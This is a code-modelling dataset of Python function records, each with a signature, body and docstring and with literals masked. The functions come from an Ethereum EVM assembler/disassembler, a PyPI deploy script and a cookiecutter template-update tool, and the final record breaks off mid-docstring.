{"signature": "def disassemble_one(bytecode, pc=<NUM_LIT:0>, fork=DEFAULT_FORK):", "body": "instruction_table = instruction_tables[fork]<EOL>if isinstance(bytecode, bytes):<EOL><INDENT>bytecode = bytearray(bytecode)<EOL><DEDENT>if isinstance(bytecode, str):<EOL><INDENT>bytecode = bytearray(bytecode.encode('<STR_LIT>'))<EOL><DEDENT>bytecode = iter(bytecode)<EOL>try:<EOL><INDENT>opcode = next(bytecode)<EOL><DEDENT>except StopIteration:<EOL><INDENT>return<EOL><DEDENT>assert isinstance(opcode, int)<EOL>instruction = copy.copy(instruction_table.get(opcode, None))<EOL>if instruction is None:<EOL><INDENT>instruction = Instruction(opcode, '<STR_LIT>', <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, '<STR_LIT>')<EOL><DEDENT>instruction.pc = pc<EOL>try:<EOL><INDENT>if instruction.has_operand:<EOL><INDENT>instruction.parse_operand(bytecode)<EOL><DEDENT><DEDENT>except ParseError:<EOL><INDENT>instruction = None<EOL><DEDENT>finally:<EOL><INDENT>return instruction<EOL><DEDENT>", "docstring": "Disassemble a single instruction from a bytecode\n\n        :param bytecode: the bytecode stream\n        :type bytecode: str | bytes | bytearray | iterator\n        :param pc: program counter of the instruction(optional)\n        :type pc: int\n        :param fork: fork name (optional)\n        :type fork: str\n        :return: an Instruction object\n        :rtype: Instruction\n\n        Example use::\n\n            >>> print disassemble_one('\\x60\\x10')", "id": "f13733:m2"}
{"signature": "def disassemble_all(bytecode, pc=<NUM_LIT:0>, fork=DEFAULT_FORK):", "body": "if isinstance(bytecode, bytes):<EOL><INDENT>bytecode = bytearray(bytecode)<EOL><DEDENT>if isinstance(bytecode, str):<EOL><INDENT>bytecode = bytearray(bytecode.encode('<STR_LIT>'))<EOL><DEDENT>bytecode = iter(bytecode)<EOL>while True:<EOL><INDENT>instr = disassemble_one(bytecode, pc=pc, fork=fork)<EOL>if not instr:<EOL><INDENT>return<EOL><DEDENT>pc += instr.size<EOL>yield instr<EOL><DEDENT>", "docstring": "Disassemble all instructions in bytecode\n\n        :param bytecode: an evm bytecode (binary)\n        :type bytecode: str | bytes | bytearray | iterator\n        :param pc: program counter of the first instruction(optional)\n        :type pc: int\n        :param fork: fork name (optional)\n        :type fork: str\n        :return: An generator of Instruction objects\n        :rtype: list[Instruction]\n\n        Example use::\n\n            >>> for inst in disassemble_all(bytecode):\n            ...    print(instr)\n\n            ...\n            PUSH1 0x60\n            PUSH1 0x40\n            MSTORE\n            PUSH1 0x2\n            PUSH2 0x108\n            PUSH1 0x0\n            POP\n            SSTORE\n            PUSH1 0x40\n            MLOAD", "id": "f13733:m3"}
{"signature": "def disassemble(bytecode, pc=<NUM_LIT:0>, fork=DEFAULT_FORK):", "body": "return '<STR_LIT:\\n>'.join(map(str, disassemble_all(bytecode, pc=pc, fork=fork)))<EOL>", "docstring": "Disassemble an EVM bytecode\n\n        :param bytecode: binary representation of an evm bytecode\n        :type bytecode: str | bytes | bytearray\n        :param pc: program counter of the first instruction(optional)\n        :type pc: int\n        :param fork: fork name (optional)\n        :type fork: str\n        :return: the text representation of the assembler code\n\n        Example use::\n\n            >>> disassemble(\"\\x60\\x60\\x60\\x40\\x52\\x60\\x02\\x61\\x01\\x00\")\n            ...\n            PUSH1 0x60\n            BLOCKHASH\n            MSTORE\n            PUSH1 0x2\n            PUSH2 0x100", "id": "f13733:m4"}
{"signature": "def assemble(asmcode, pc=<NUM_LIT:0>, fork=DEFAULT_FORK):", "body": "return b'<STR_LIT>'.join(x.bytes for x in assemble_all(asmcode, pc=pc, fork=fork))<EOL>", "docstring": "Assemble an EVM program\n\n        :param asmcode: an evm assembler program\n        :type asmcode: str\n        :param pc: program counter of the first instruction(optional)\n        :type pc: int\n        :param fork: fork name (optional)\n        :type fork: str\n        :return: the hex representation of the bytecode\n        :rtype: str\n\n        Example use::\n\n            >>> assemble('''PUSH1 0x60\\n \\\n                                   BLOCKHASH\\n \\\n                                   MSTORE\\n \\\n                                   PUSH1 0x2\\n \\\n                                   PUSH2 0x100\\n \\\n                                ''')\n            ...\n            b\"\\x60\\x60\\x60\\x40\\x52\\x60\\x02\\x61\\x01\\x00\"", "id": "f13733:m5"}
{"signature": "def disassemble_hex(bytecode, pc=<NUM_LIT:0>, fork=DEFAULT_FORK):", "body": "if bytecode.startswith('<STR_LIT>'):<EOL><INDENT>bytecode = bytecode[<NUM_LIT:2>:]<EOL><DEDENT>bytecode = unhexlify(bytecode)<EOL>return disassemble(bytecode, pc=pc, fork=fork)<EOL>", "docstring": "Disassemble an EVM bytecode\n\n        :param bytecode: canonical representation of an evm bytecode (hexadecimal)\n        :type bytecode: str\n        :param pc: program counter of the first instruction(optional)\n        :type pc: int\n        :param fork: fork name (optional)\n        :type fork: str\n        :return: the text representation of the assembler code\n        :rtype: str\n\n        Example use::\n\n            >>> disassemble_hex(\"0x6060604052600261010\")\n            ...\n            PUSH1 0x60\n            BLOCKHASH\n            MSTORE\n            PUSH1 0x2\n            PUSH2 0x100", "id": "f13733:m6"}
{"signature": "def assemble_hex(asmcode, pc=<NUM_LIT:0>, fork=DEFAULT_FORK):", "body": "if isinstance(asmcode, list):<EOL><INDENT>return '<STR_LIT>' + hexlify(b'<STR_LIT>'.join([x.bytes for x in asmcode])).decode('<STR_LIT:ascii>')<EOL><DEDENT>return '<STR_LIT>' + hexlify(assemble(asmcode, pc=pc, fork=fork)).decode('<STR_LIT:ascii>')<EOL>", "docstring": "Assemble an EVM program\n\n        :param asmcode: an evm assembler program\n        :type asmcode: str | iterator[Instruction]\n        :param pc: program counter of the first instruction(optional)\n        :type pc: int\n        :param fork: fork name (optional)\n        :type fork: str\n        :return: the hex representation of the bytecode\n        :rtype: str\n\n        Example use::\n\n            >>> assemble_hex('''PUSH1 0x60\\n \\\n                                       BLOCKHASH\\n \\\n                                       MSTORE\\n \\\n                                       PUSH1 0x2\\n \\\n                                       PUSH2 0x100\\n \\\n                                    ''')\n            ...\n            \"0x6060604052600261010\"", "id": "f13733:m7"}
{"signature": "def block_to_fork(block_number):", "body": "forks_by_block = {<EOL><NUM_LIT:0>: \"<STR_LIT>\",<EOL><NUM_LIT>: \"<STR_LIT>\",<EOL><NUM_LIT>: \"<STR_LIT>\",<EOL><NUM_LIT>: \"<STR_LIT>\",<EOL><NUM_LIT>: \"<STR_LIT>\",<EOL><NUM_LIT>: \"<STR_LIT>\",<EOL><NUM_LIT>: \"<STR_LIT>\"  <EOL>}<EOL>fork_names = list(forks_by_block.values())<EOL>fork_blocks = list(forks_by_block.keys())<EOL>return fork_names[bisect(fork_blocks, block_number) - <NUM_LIT:1>]<EOL>", "docstring": "Convert block number to fork name.\n\n        :param block_number: block number\n        :type block_number: int\n        :return: fork name\n        :rtype: str\n\n        Example use::\n\n            >>> block_to_fork(0)\n            ...\n            \"frontier\"\n            >>> block_to_fork(4370000)\n            ...\n            \"byzantium\"\n            >>> block_to_fork(4370001)\n            ...\n            \"byzantium\"", "id": "f13733:m8"}
{"signature": "def __init__(self, opcode, name, operand_size, pops, pushes, fee, description, operand=None, pc=<NUM_LIT:0>):", "body": "self._opcode = opcode<EOL>self._name = name<EOL>self._operand_size = operand_size<EOL>self._pops = pops<EOL>self._pushes = pushes<EOL>self._fee = fee<EOL>self._description = description<EOL>self._operand = operand  <EOL>self._pc = pc<EOL>", "docstring": "This represents an EVM instruction.\nEVMAsm will create this for you.\n\n:param opcode: the opcode value\n:param name: instruction name\n:param operand_size: immediate operand size in bytes\n:param pops: number of items popped from the stack\n:param pushes: number of items pushed into the stack\n:param fee: gas fee for the instruction\n:param description: textual description of the instruction\n:param operand: optional immediate operand\n:param pc: optional program counter of this instruction in the program\n\nExample use::\n\n    >>> instruction = assemble_one('PUSH1 0x10')\n    >>> print('Instruction: %s'% instruction)\n    >>> print('\\tdescription:', instruction.description)\n    >>> print('\\tgroup:', instruction.group)\n    >>> print('\\tpc:', instruction.pc)\n    >>> print('\\tsize:', instruction.size)\n    >>> print('\\thas_operand:', instruction.has_operand)\n    >>> print('\\toperand_size:', instruction.operand_size)\n    >>> print('\\toperand:', instruction.operand)\n    >>> print('\\tsemantics:', instruction.semantics)\n    >>> print('\\tpops:', instruction.pops)\n    >>> print('\\tpushes:', instruction.pushes)\n    >>> print('\\tbytes:', '0x'+instruction.bytes.encode('hex'))\n    >>> print('\\twrites to stack:', instruction.writes_to_stack)\n    >>> print('\\treads from stack:', instruction.reads_from_stack)\n    >>> print('\\twrites to memory:', instruction.writes_to_memory)\n    >>> print('\\treads from memory:', instruction.reads_from_memory)\n    >>> print('\\twrites to storage:', instruction.writes_to_storage)\n    >>> print('\\treads from storage:', instruction.reads_from_storage)\n    >>> print('\\tis terminator', instruction.is_terminator)", "id": "f13733:c4:m0"}
{"signature": "def __eq__(self, other):", "body": "return self._opcode == other._opcode andself._name == other._name andself._operand == other._operand andself._operand_size == other._operand_size andself._pops == other._pops andself._pushes == other._pushes andself._fee == other._fee andself._pc == other._pc andself._description == other._description<EOL>", "docstring": "Instructions are equal if all features match", "id": "f13733:c4:m1"}
{"signature": "@property<EOL><INDENT>def opcode(self):<DEDENT>", "body": "return self._opcode<EOL>", "docstring": "The opcode as an integer", "id": "f13733:c4:m4"}
{"signature": "@property<EOL><INDENT>def mnemonic(self):<DEDENT>", "body": "return self.name<EOL>", "docstring": "Alias for name", "id": "f13733:c4:m5"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "if self._name == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>' % self.operand_size<EOL><DEDENT>elif self._name == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>' % self.pops<EOL><DEDENT>elif self._name == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>' % (self.pops - <NUM_LIT:1>)<EOL><DEDENT>elif self._name == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>' % (self.pops - <NUM_LIT:2>)<EOL><DEDENT>return self._name<EOL>", "docstring": "The instruction name/mnemonic", "id": "f13733:c4:m6"}
{"signature": "def parse_operand(self, buf):", "body": "buf = iter(buf)<EOL>try:<EOL><INDENT>operand = <NUM_LIT:0><EOL>for _ in range(self.operand_size):<EOL><INDENT>operand <<= <NUM_LIT:8><EOL>operand |= next(buf)<EOL><DEDENT>self._operand = operand<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise ParseError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Parses an operand from buf\n\n            :param buf: a buffer\n            :type buf: iterator/generator/string", "id": "f13733:c4:m7"}
{"signature": "@property<EOL><INDENT>def operand_size(self):<DEDENT>", "body": "return self._operand_size<EOL>", "docstring": "The immediate operand size", "id": "f13733:c4:m8"}
{"signature": "@property<EOL><INDENT>def has_operand(self):<DEDENT>", "body": "return self.operand_size > <NUM_LIT:0><EOL>", "docstring": "True if the instruction uses an immediate operand", "id": "f13733:c4:m9"}
{"signature": "@property<EOL><INDENT>def pops(self):<DEDENT>", "body": "return self._pops<EOL>", "docstring": "Number words popped from the stack", "id": "f13733:c4:m12"}
{"signature": "@property<EOL><INDENT>def pushes(self):<DEDENT>", "body": "return self._pushes<EOL>", "docstring": "Number words pushed to the stack", "id": "f13733:c4:m13"}
{"signature": "@property<EOL><INDENT>def size(self):<DEDENT>", "body": "return self._operand_size + <NUM_LIT:1><EOL>", "docstring": "Size of the encoded instruction", "id": "f13733:c4:m14"}
{"signature": "@property<EOL><INDENT>def fee(self):<DEDENT>", "body": "return self._fee<EOL>", "docstring": "The basic gas fee of the instruction", "id": "f13733:c4:m15"}
{"signature": "@property<EOL><INDENT>def semantics(self):<DEDENT>", "body": "return self._name<EOL>", "docstring": "Canonical semantics", "id": "f13733:c4:m16"}
{"signature": "@property<EOL><INDENT>def description(self):<DEDENT>", "body": "return self._description<EOL>", "docstring": "Colloquial description of the instruction", "id": "f13733:c4:m17"}
{"signature": "@property<EOL><INDENT>def bytes(self):<DEDENT>", "body": "b = [bytes([self._opcode])]<EOL>for offset in reversed(range(self.operand_size)):<EOL><INDENT>b.append(bytes([(self.operand >> offset * <NUM_LIT:8>) & <NUM_LIT>]))<EOL><DEDENT>return b'<STR_LIT>'.join(b)<EOL>", "docstring": "Encoded instruction", "id": "f13733:c4:m18"}
{"signature": "@pc.setter<EOL><INDENT>def pc(self, value):<DEDENT>", "body": "self._pc = value<EOL>", "docstring": "Location in the program (optional)", "id": "f13733:c4:m20"}
{"signature": "@property<EOL><INDENT>def group(self):<DEDENT>", "body": "classes = {<EOL><NUM_LIT:0>: '<STR_LIT>',<EOL><NUM_LIT:1>: '<STR_LIT>',<EOL><NUM_LIT:2>: '<STR_LIT>',<EOL><NUM_LIT:3>: '<STR_LIT>',<EOL><NUM_LIT:4>: '<STR_LIT>',<EOL><NUM_LIT:5>: '<STR_LIT>',<EOL><NUM_LIT:6>: '<STR_LIT>',<EOL><NUM_LIT:7>: '<STR_LIT>',<EOL><NUM_LIT:8>: '<STR_LIT>',<EOL><NUM_LIT:9>: '<STR_LIT>',<EOL><NUM_LIT>: '<STR_LIT>',<EOL><NUM_LIT>: '<STR_LIT>'<EOL>}<EOL>return classes.get(self.opcode >> <NUM_LIT:4>, '<STR_LIT>')<EOL>", "docstring": "Instruction classification as per the yellow paper", "id": "f13733:c4:m21"}
{"signature": "@property<EOL><INDENT>def uses_stack(self):<DEDENT>", "body": "return self.reads_from_stack or self.writes_to_stack<EOL>", "docstring": "True if the instruction reads/writes from/to the stack", "id": "f13733:c4:m22"}
{"signature": "@property<EOL><INDENT>def reads_from_stack(self):<DEDENT>", "body": "return self.pops > <NUM_LIT:0><EOL>", "docstring": "True if the instruction reads from stack", "id": "f13733:c4:m23"}
{"signature": "@property<EOL><INDENT>def writes_to_stack(self):<DEDENT>", "body": "return self.pushes > <NUM_LIT:0><EOL>", "docstring": "True if the instruction writes to the stack", "id": "f13733:c4:m24"}
{"signature": "@property<EOL><INDENT>def writes_to_memory(self):<DEDENT>", "body": "return self.semantics in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "True if the instruction writes to memory", "id": "f13733:c4:m25"}
{"signature": "@property<EOL><INDENT>def reads_from_memory(self):<DEDENT>", "body": "return self.semantics in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "True if the instruction reads from memory", "id": "f13733:c4:m26"}
{"signature": "@property<EOL><INDENT>def writes_to_storage(self):<DEDENT>", "body": "return self.semantics in '<STR_LIT>'<EOL>", "docstring": "True if the instruction writes to the storage", "id": "f13733:c4:m27"}
{"signature": "@property<EOL><INDENT>def reads_from_storage(self):<DEDENT>", "body": "return self.semantics in '<STR_LIT>'<EOL>", "docstring": "True if the instruction reads from the storage", "id": "f13733:c4:m28"}
{"signature": "@property<EOL><INDENT>def is_terminator(self):<DEDENT>", "body": "return self.semantics in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "True if the instruction is a basic block terminator", "id": "f13733:c4:m29"}
{"signature": "@property<EOL><INDENT>def is_endtx(self):<DEDENT>", "body": "return self.semantics in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "True if the instruction is a transaction terminator", "id": "f13733:c4:m30"}
{"signature": "@property<EOL><INDENT>def is_starttx(self):<DEDENT>", "body": "return self.semantics in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "True if the instruction is a transaction initiator", "id": "f13733:c4:m31"}
{"signature": "@property<EOL><INDENT>def is_branch(self):<DEDENT>", "body": "return self.semantics in ('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "True if the instruction is a jump", "id": "f13733:c4:m32"}
{"signature": "@property<EOL><INDENT>def is_environmental(self):<DEDENT>", "body": "return self.group == '<STR_LIT>'<EOL>", "docstring": "True if the instruction access enviromental data", "id": "f13733:c4:m33"}
{"signature": "@property<EOL><INDENT>def is_system(self):<DEDENT>", "body": "return self.group == '<STR_LIT>'<EOL>", "docstring": "True if the instruction is a system operation", "id": "f13733:c4:m34"}
{"signature": "@property<EOL><INDENT>def uses_block_info(self):<DEDENT>", "body": "return self.group == '<STR_LIT>'<EOL>", "docstring": "True if the instruction access block information", "id": "f13733:c4:m35"}
{"signature": "@property<EOL><INDENT>def is_arithmetic(self):<DEDENT>", "body": "return self.semantics in (<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "True if the instruction is an arithmetic operation", "id": "f13733:c4:m36"}
{"signature": "def _shell(cmd, check=True, stdin=None, stdout=None, stderr=None):  ", "body": "return subprocess.run(cmd, shell=True, check=check, stdin=stdin, stdout=stdout, stderr=stderr)<EOL>", "docstring": "Runs a subprocess shell with check=True by default", "id": "f13737:m0"}
{"signature": "def _pypi_push(dist):", "body": "<EOL>for filename in os.listdir(dist):<EOL><INDENT>full_path = os.path.join(dist, filename)<EOL>if os.path.isfile(full_path):<EOL><INDENT>_shell('<STR_LIT>' + shlex.quote(full_path), check=False)<EOL><DEDENT><DEDENT>_shell('<STR_LIT>' + shlex.quote(dist + '<STR_LIT>'))<EOL>", "docstring": "Push created package to PyPI.\n\n    Requires the following defined environment variables:\n        - TWINE_USERNAME: The PyPI username to upload this package under\n        - TWINE_PASSWORD: The password to the user's account\n\n    Args:\n        dist (str):\n            The distribution to push. Must be a valid directory; shell globs are\n            NOT allowed.", "id": "f13737:m1"}
{"signature": "def deploy(target):", "body": "<EOL>if not os.getenv(CIRCLECI_ENV_VAR):     <EOL><INDENT>raise EnvironmentError('<STR_LIT>')<EOL><DEDENT>current_branch = os.getenv('<STR_LIT>')<EOL>if (target == '<STR_LIT>') and (current_branch != '<STR_LIT>'):<EOL><INDENT>raise EnvironmentError((<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(current_branch=current_branch))<EOL><DEDENT>if target in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>pypi_username = os.getenv('<STR_LIT>'.format(target=target))<EOL>pypi_password = os.getenv('<STR_LIT>'.format(target=target))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(target=target))<EOL><DEDENT>if not (pypi_username and pypi_password):  <EOL><INDENT>raise EnvironmentError((<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(target=target))<EOL><DEDENT>os.environ['<STR_LIT>'] = pypi_username<EOL>os.environ['<STR_LIT>'] = pypi_password<EOL>_shell('<STR_LIT>')<EOL>_shell('<STR_LIT>')<EOL>_shell('<STR_LIT>')<EOL>ret = _shell('<STR_LIT>', stdout=subprocess.PIPE)<EOL>version = ret.stdout.decode('<STR_LIT:utf-8>').strip()<EOL>print('<STR_LIT>'.format(version=version))<EOL>_shell('<STR_LIT>'.format(version=version))<EOL>_shell(<EOL>'<STR_LIT>'.format(<EOL>version=version))<EOL>_shell('<STR_LIT>')<EOL>_shell('<STR_LIT>')<EOL>_shell('<STR_LIT>')<EOL>_pypi_push('<STR_LIT>')<EOL>_shell('<STR_LIT>')<EOL>print('<STR_LIT>'.format(version=version))<EOL>", "docstring": "Deploys the package and documentation.\n\n    Proceeds in the following steps:\n\n    1. Ensures proper environment variables are set and checks that we are on Circle CI\n    2. Tags the repository with the new version\n    3. Creates a standard distribution and a wheel\n    4. Updates version.py to have the proper version\n    5. Commits the ChangeLog, AUTHORS, and version.py file\n    6. Pushes to PyPI\n    7. Pushes the tags and newly committed files\n\n    Raises:\n        `EnvironmentError`:\n            - Not running on CircleCI\n            - `*_PYPI_USERNAME` and/or `*_PYPI_PASSWORD` environment variables\n               are missing\n            - Attempting to deploy to production from a branch that isn't master", "id": "f13737:m2"}
{"signature": "def _get_current_branch():", "body": "result = temple.utils.shell('<STR_LIT>', stdout=subprocess.PIPE)<EOL>return result.stdout.decode('<STR_LIT:utf8>').strip()<EOL>", "docstring": "Determine the current git branch", "id": "f13738:m0"}
{"signature": "def clean():", "body": "temple.check.in_git_repo()<EOL>current_branch = _get_current_branch()<EOL>update_branch = temple.constants.UPDATE_BRANCH_NAME<EOL>temp_update_branch = temple.constants.TEMP_UPDATE_BRANCH_NAME<EOL>if current_branch in (update_branch, temp_update_branch):<EOL><INDENT>err_msg = (<EOL>'<STR_LIT>'<EOL>).format(current_branch)<EOL>raise temple.exceptions.InvalidCurrentBranchError(err_msg)<EOL><DEDENT>if temple.check._has_branch(update_branch):<EOL><INDENT>temple.utils.shell('<STR_LIT>'.format(update_branch))<EOL><DEDENT>if temple.check._has_branch(temp_update_branch):<EOL><INDENT>temple.utils.shell('<STR_LIT>'.format(temp_update_branch))<EOL><DEDENT>", "docstring": "Cleans up temporary resources\n\n    Tries to clean up:\n\n    1. The temporary update branch used during ``temple update``\n    2. The primary update branch used during ``temple update``", "id": "f13738:m1"}
{"signature": "def _cookiecutter_configs_have_changed(template, old_version, new_version):", "body": "temple.check.is_git_ssh_path(template)<EOL>repo_path = temple.utils.get_repo_path(template)<EOL>github_client = temple.utils.GithubClient()<EOL>api = '<STR_LIT>'.format(repo_path)<EOL>old_config_resp = github_client.get(api, params={'<STR_LIT>': old_version})<EOL>old_config_resp.raise_for_status()<EOL>new_config_resp = github_client.get(api, params={'<STR_LIT>': new_version})<EOL>new_config_resp.raise_for_status()<EOL>return old_config_resp.json()['<STR_LIT:content>'] != new_config_resp.json()['<STR_LIT:content>']<EOL>", "docstring": "Given an old version and new version, check if the cookiecutter.json files have changed\n\n    When the cookiecutter.json files change, it means the user will need to be prompted for\n    new context\n\n    Args:\n        template (str): The git SSH path to the template\n        old_version (str): The git SHA of the old version\n        new_version (str): The git SHA of the new version\n\n    Returns:\n        bool: True if the cookiecutter.json files have been changed in the old and new versions", "id": "f13748:m0"}
{"signature": "def _apply_template(template, target, *, checkout, extra_context):", "body": "with tempfile.TemporaryDirectory() as tempdir:<EOL><INDENT>repo_dir = cc_main.cookiecutter(<EOL>template,<EOL>checkout=checkout,<EOL>no_input=True,<EOL>output_dir=tempdir,<EOL>extra_context=extra_context)<EOL>for item in os.listdir(repo_dir):<EOL><INDENT>src = os.path.join(repo_dir, item)<EOL>dst = os.path.join(target, item)<EOL>if os.path.isdir(src):<EOL><INDENT>if os.path.exists(dst):<EOL><INDENT>shutil.rmtree(dst)<EOL><DEDENT>shutil.copytree(src, dst)<EOL><DEDENT>else:<EOL><INDENT>if os.path.exists(dst):<EOL><INDENT>os.remove(dst)<EOL><DEDENT>shutil.copy2(src, dst)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Apply a template to a temporary directory and then copy results to target.", "id": "f13748:m4"}
{"signature": "@temple.utils.set_cmd_env_var('<STR_LIT>')<EOL>def up_to_date(version=None):", "body": "temple.check.in_git_repo()<EOL>temple.check.is_temple_project()<EOL>temple_config = temple.utils.read_temple_config()<EOL>old_template_version = temple_config['<STR_LIT>']<EOL>new_template_version = version or _get_latest_template_version(temple_config['<STR_LIT>'])<EOL>return new_template_version == old_template_version<EOL>", "docstring": "Checks if a temple project is up to date with the repo\n\n    Note that the `temple.constants.TEMPLE_ENV_VAR` is set to 'update' for the duration of this\n    function.\n\n    Args:\n        version (str, optional): Update against this git SHA or branch of the template\n\n    Returns:\n        boolean: True if up to date with ``version`` (or latest version), False otherwise\n\n    Raises:\n        `NotInGitRepoError`: When running outside of a git repo\n        `InvalidTempleProjectError`: When not inside a valid temple repository", "id": "f13748:m5"}
{"signature": "def _needs_new_cc_config_for_update(old_template, old_version, new_template, new_version):", "body": "if old_template != new_template:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return _cookiecutter_configs_have_changed(new_template,<EOL>old_version,<EOL>new_version)<EOL><DEDENT>", "docstring": "Given two templates and their respective versions, return True if a new cookiecutter\nconfig needs to be obtained from the user", "id": "f13748:m6"}
{"signature": "@temple.utils.set_cmd_env_var('<STR_LIT>')<EOL>def update(old_template=None, old_version=None, new_template=None, new_version=None,<EOL>enter_parameters=False):", "body": "update_branch = temple.constants.UPDATE_BRANCH_NAME<EOL>temp_update_branch = temple.constants.TEMP_UPDATE_BRANCH_NAME<EOL>temple.check.in_git_repo()<EOL>temple.check.in_clean_repo()<EOL>temple.check.is_temple_project()<EOL>temple.check.not_has_branch(update_branch)<EOL>temple.check.not_has_branch(temp_update_branch)<EOL>temple.check.has_env_vars(temple.constants.GITHUB_API_TOKEN_ENV_VAR)<EOL>temple_config = temple.utils.read_temple_config()<EOL>old_template = old_template or temple_config['<STR_LIT>']<EOL>new_template = new_template or temple_config['<STR_LIT>']<EOL>old_version = old_version or temple_config['<STR_LIT>']<EOL>new_version = new_version or _get_latest_template_version(new_template)<EOL>if new_template == old_template and new_version == old_version and not enter_parameters:<EOL><INDENT>print('<STR_LIT>')<EOL>return False<EOL><DEDENT>print('<STR_LIT>'.format(update_branch))<EOL>temple.utils.shell('<STR_LIT>'.format(update_branch),<EOL>stderr=subprocess.DEVNULL)<EOL>print('<STR_LIT>'.format(temp_update_branch))<EOL>temple.utils.shell('<STR_LIT>'.format(temp_update_branch),<EOL>stderr=subprocess.DEVNULL)<EOL>temple.utils.shell('<STR_LIT>',<EOL>stdout=subprocess.DEVNULL)<EOL>_apply_template(old_template,<EOL>'<STR_LIT:.>',<EOL>checkout=old_version,<EOL>extra_context=temple_config)<EOL>temple.utils.shell('<STR_LIT>')<EOL>temple.utils.shell(<EOL>'<STR_LIT>'.format(old_version),<EOL>stdout=subprocess.DEVNULL,<EOL>stderr=subprocess.DEVNULL)<EOL>print('<STR_LIT>')<EOL>temple.utils.shell('<STR_LIT>'.format(update_branch),<EOL>stderr=subprocess.DEVNULL)<EOL>temple.utils.shell(<EOL>'<STR_LIT>'.format(temp_update_branch),<EOL>stderr=subprocess.DEVNULL)<EOL>print('<STR_LIT>')<EOL>temple.utils.shell('<STR_LIT>'.format(temp_update_branch),<EOL>stderr=subprocess.DEVNULL)<EOL>temple.utils.shell('<STR_LIT>',<EOL>stdout=subprocess.DEVNULL)<EOL>needs_new_cc_config = _needs_new_cc_config_for_update(old_template, old_version,<EOL>new_template, new_version)<EOL>if needs_new_cc_config:<EOL><INDENT>if old_template != new_template:<EOL><INDENT>cc_config_input_msg = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(temple.utils.get_repo_path(new_template))<EOL><DEDENT>else:<EOL><INDENT>cc_config_input_msg = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>input(cc_config_input_msg)<EOL><DEDENT>if needs_new_cc_config or enter_parameters:<EOL><INDENT>_, temple_config = (<EOL>temple.utils.get_cookiecutter_config(new_template,<EOL>default_config=temple_config,<EOL>version=new_version))<EOL><DEDENT>_apply_template(new_template,<EOL>'<STR_LIT:.>',<EOL>checkout=new_version,<EOL>extra_context=temple_config)<EOL>temple.utils.write_temple_config(temple_config, new_template, new_version)<EOL>temple.utils.shell('<STR_LIT>')<EOL>temple.utils.shell(<EOL>'<STR_LIT>'.format(new_version),<EOL>stdout=subprocess.DEVNULL,<EOL>stderr=subprocess.DEVNULL)<EOL>print('<STR_LIT>')<EOL>temple.utils.shell('<STR_LIT>'.format(update_branch),<EOL>stderr=subprocess.DEVNULL)<EOL>temple.utils.shell('<STR_LIT>'.format(temp_update_branch),<EOL>check=False,<EOL>stdout=subprocess.DEVNULL,<EOL>stderr=subprocess.DEVNULL)<EOL>temple.utils.shell('<STR_LIT>'.format(temple.constants.TEMPLE_CONFIG_FILE),<EOL>check=False,<EOL>stdout=subprocess.DEVNULL,<EOL>stderr=subprocess.DEVNULL)<EOL>print('<STR_LIT>'.format(temp_update_branch))<EOL>temple.utils.shell('<STR_LIT>'.format(temp_update_branch),<EOL>stdout=subprocess.DEVNULL)<EOL>print(textwrap.dedent(\"\"\"<STR_LIT>\"\"\").format(update_branch))<EOL>return True<EOL>", "docstring": "Updates the temple project to the latest template\n\n    Proceeeds in the following steps:\n\n    1. Ensure we are inside the project repository\n    2. Obtain the latest version of the package template\n    3. If the package is up to date with the latest template, return\n    4. If not, create an empty template branch with a new copy of the old template\n    5. Create an update branch from HEAD and merge in the new template copy\n    6. Create a new copy of the new template and merge into the empty template branch\n    7. Merge the updated empty template branch into the update branch\n    8. Ensure temple.yaml reflects what is in the template branch\n    9. Remove the empty template branch\n\n    Note that the `temple.constants.TEMPLE_ENV_VAR` is set to 'update' for the\n    duration of this function.\n\n    Two branches will be created during the update process, one named\n    ``_temple_update`` and one named ``_temple_update_temp``. At the end of\n    the process, ``_temple_update_temp`` will be removed automatically. The\n    work will be left in ``_temple_update`` in an uncommitted state for\n    review. The update will fail early if either of these branches exist\n    before the process starts.\n\n    Args:\n        old_template (str, default=None): The old template from which to update. Defaults\n            to the template in temple.yaml\n        old_version (str, default=None): The old version of the template. Defaults to\n            the version in temple.yaml\n        new_template (str, default=None): The new template for updating. Defaults to the\n            template in temple.yaml\n        new_version (str, default=None): The new version of the new template to update.\n            Defaults to the latest version of the new template\n        enter_parameters (bool, default=False): Force entering template parameters for the project\n\n    Raises:\n        `NotInGitRepoError`: When not inside of a git repository\n        `InvalidTempleProjectError`: When not inside a valid temple repository\n        `InDirtyRepoError`: When an update is 